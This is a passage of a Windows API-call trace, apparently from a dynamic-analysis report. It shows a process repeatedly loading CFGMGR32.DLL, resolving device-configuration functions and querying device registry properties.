(hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0230.736] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0230.736] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0230.736] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0230.736] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0230.736] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0230.737] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0230.737] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0230.737] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0230.737] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0230.737] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0230.737] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0230.737] malloc (_Size=0x18) returned 0x196ef0d1a20 [0230.738] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x7, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0230.738] malloc (_Size=0x124) returned 0x196ef0d67b0 [0230.738] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x7, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d67b0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d67b0, pulLength=0x67117d608) returned 0x0 [0230.739] free (_Block=0x196ef0d67b0) [0230.739] malloc (_Size=0x48) returned 0x196ef0fb950 [0230.739] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x6a633190, dwHighDateTime=0x1d9eb0c)) [0230.740] SetEvent (hEvent=0x248) returned 1 [0230.743] malloc (_Size=0x18) returned 0x196ef0d20c0 [0230.743] SafeArrayPutElement (psa=0x196ef1f2d30, rgIndices=0x67117d6d8, pv=0x196ee7ba838) returned 0x0 [0230.743] free (_Block=0x196ef0d20c0) [0230.743] malloc (_Size=0x18) returned 0x196ef0d1ee0 [0230.744] SafeArrayPutElement (psa=0x196ef1f2d30, rgIndices=0x67117d6d8, pv=0x196ee7ba838) returned 0x0 [0230.744] free (_Block=0x196ef0d1ee0) [0230.744] malloc (_Size=0x18) returned 0x196ef0d1b60 [0230.744] SafeArrayPutElement (psa=0x196ef1f2d30, rgIndices=0x67117d6d8, pv=0x196ee7ba838) returned 0x0 [0230.744] free (_Block=0x196ef0d1b60) [0230.744] malloc (_Size=0x18) returned 0x196ef0d1e60 [0230.744] SafeArrayPutElement (psa=0x196ef1f2d30, rgIndices=0x67117d6d8, pv=0x196ee7ba838) returned 0x0 [0230.744] free (_Block=0x196ef0d1e60) [0230.745] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855ae0 [0230.745] SafeArrayGetDim (psa=0x196ef1f2d30) returned 0x1 [0230.745] SafeArrayGetLBound (in: psa=0x196ef1f2d30, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0230.745] SafeArrayGetUBound (in: psa=0x196ef1f2d30, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0230.745] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa8f0 [0230.745] SafeArrayGetDim (psa=0x196ef1f2d30) returned 0x1 [0230.745] SafeArrayGetUBound (in: psa=0x196ef1f2d30, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0230.745] SafeArrayGetElemsize (psa=0x196ef1f2d30) returned 0x8 [0230.746] SafeArrayGetElement (in: psa=0x196ef1f2d30, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0230.747] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7aa8c0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0230.747] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7aa8c8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0230.747] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7aa8d0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0230.748] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7aa8d8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0230.749] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa8f0) returned 1 [0230.750] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855ae0) returned 1 [0230.751] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0230.751] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0230.751] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0230.751] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0230.752] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0230.752] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0230.752] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0230.752] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0230.752] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0230.752] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0230.753] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0230.753] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0230.753] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0230.753] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0230.753] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0230.753] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0230.754] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0230.754] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0230.754] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0230.754] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0230.754] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0230.754] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0230.755] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0230.755] malloc (_Size=0x18) returned 0x196ef0d1b40 [0230.755] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x7, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0230.755] malloc (_Size=0x10e) returned 0x196ef0d67b0 [0230.756] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x7, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0d67b0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d67b0, pulLength=0x67117d608) returned 0x0 [0230.757] free (_Block=0x196ef0d67b0) [0230.757] malloc (_Size=0x48) returned 0x196ef0fbc70 [0230.757] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x6a659dfd, dwHighDateTime=0x1d9eb0c)) [0230.757] SetEvent (hEvent=0x248) returned 1 [0230.819] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0230.819] SafeArrayPutElement (psa=0x196ef1f2670, rgIndices=0x67117d6d8, pv=0x196ee7ba838) returned 0x0 [0230.819] free (_Block=0x196ef0d1ba0) [0230.819] malloc (_Size=0x18) returned 0x196ef0d1b00 [0230.819] SafeArrayPutElement (psa=0x196ef1f2670, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0230.820] free (_Block=0x196ef0d1b00) [0230.820] malloc (_Size=0x18) returned 0x196ef0d1a80 [0230.820] SafeArrayPutElement (psa=0x196ef1f2670, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0230.820] free (_Block=0x196ef0d1a80) [0230.820] malloc (_Size=0x18) returned 0x196ef0d1d60 [0230.820] SafeArrayPutElement (psa=0x196ef1f2670, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0230.820] free (_Block=0x196ef0d1d60) [0230.820] malloc (_Size=0x18) returned 0x196ef0d1f00 [0230.820] SafeArrayPutElement (psa=0x196ef1f2670, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0230.820] free (_Block=0x196ef0d1f00) [0230.820] malloc (_Size=0x18) returned 0x196ef0d1d60 [0230.821] SafeArrayPutElement (psa=0x196ef1f2670, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0230.821] free (_Block=0x196ef0d1d60) [0230.821] malloc (_Size=0x18) returned 0x196ef0d20e0 [0230.821] SafeArrayPutElement (psa=0x196ef1f2670, rgIndices=0x67117d6d8, pv=0x196ee7c7678) returned 0x0 [0230.821] free (_Block=0x196ef0d20e0) [0230.821] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee856560 [0230.821] SafeArrayGetDim (psa=0x196ef1f2670) returned 0x1 [0230.821] SafeArrayGetLBound (in: psa=0x196ef1f2670, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0230.821] SafeArrayGetUBound (in: psa=0x196ef1f2670, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0230.821] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa650 [0230.821] SafeArrayGetDim (psa=0x196ef1f2670) returned 0x1 [0230.821] SafeArrayGetUBound (in: psa=0x196ef1f2670, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0230.821] SafeArrayGetElemsize (psa=0x196ef1f2670) returned 0x8 [0230.822] SafeArrayGetElement (in: psa=0x196ef1f2670, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0230.822] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2560, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0230.822] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2568, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0230.823] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2570, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0230.823] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2578, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0230.823] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2580, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0230.823] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2588, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0230.824] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2590, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0230.824] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa650) returned 1 [0230.825] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee856560) returned 1 [0230.825] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0230.825] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0230.826] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0230.826] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0230.826] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0230.826] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0230.826] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0230.827] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0230.827] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0230.827] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0230.827] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0230.827] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0230.828] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0230.828] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0230.828] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0230.851] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0230.851] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0230.851] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0230.852] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0230.852] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0230.852] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0230.852] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0230.852] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0230.853] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0230.853] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x7, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0230.856] malloc (_Size=0x48) returned 0x196ef0fc080 [0230.857] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6a73dd7f, dwHighDateTime=0x1d9eb0c)) [0230.857] SetEvent (hEvent=0x248) returned 1 [0230.861] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0230.861] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0230.861] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0230.861] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0230.862] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0230.862] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0230.862] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0230.862] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0230.862] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0230.862] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0230.863] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0230.863] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0230.863] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0230.863] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0230.863] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0230.863] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0230.863] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0230.863] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0230.864] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0230.864] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0230.864] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0230.864] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0230.864] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0230.864] malloc (_Size=0x18) returned 0x196ef0d19e0 [0230.864] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x7, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0230.865] malloc (_Size=0x48) returned 0x196ef0fba90 [0230.865] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6a764365, dwHighDateTime=0x1d9eb0c)) [0230.865] SetEvent (hEvent=0x248) returned 1 [0230.868] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0230.868] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0230.869] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0230.869] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0230.869] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0230.869] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0230.869] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0230.870] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0230.870] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0230.870] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0230.870] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0230.870] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0230.871] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0230.871] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0230.871] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0230.871] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0230.871] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0230.872] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0230.872] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0230.872] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0230.872] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0230.872] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0230.872] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0230.873] malloc (_Size=0x18) returned 0x196ef0d1960 [0230.873] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x7, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0230.873] malloc (_Size=0x48) returned 0x196ef0fb9a0 [0230.874] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6a764365, dwHighDateTime=0x1d9eb0c)) [0230.874] SetEvent (hEvent=0x248) returned 1 [0230.878] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0230.878] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0230.878] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0230.878] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0230.878] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0230.879] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0230.879] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0230.879] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0230.879] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0230.879] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0230.879] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0230.880] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0230.880] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0230.880] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0230.880] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0230.880] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0230.881] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0230.881] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0230.881] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0230.881] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0230.881] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0230.881] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0230.882] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0230.882] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0230.882] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x7, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0230.882] malloc (_Size=0x48) returned 0x196ef0fba40 [0230.882] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6a78a345, dwHighDateTime=0x1d9eb0c)) [0230.883] SetEvent (hEvent=0x248) returned 1 [0230.930] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0230.930] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0230.930] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0230.931] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0230.931] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0230.931] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0230.931] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0230.931] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0230.931] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0230.931] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0230.932] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0230.932] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0230.932] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0230.932] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0230.932] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0230.932] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0230.932] GetProcAddress (hModule=0x7ffa786c0000, 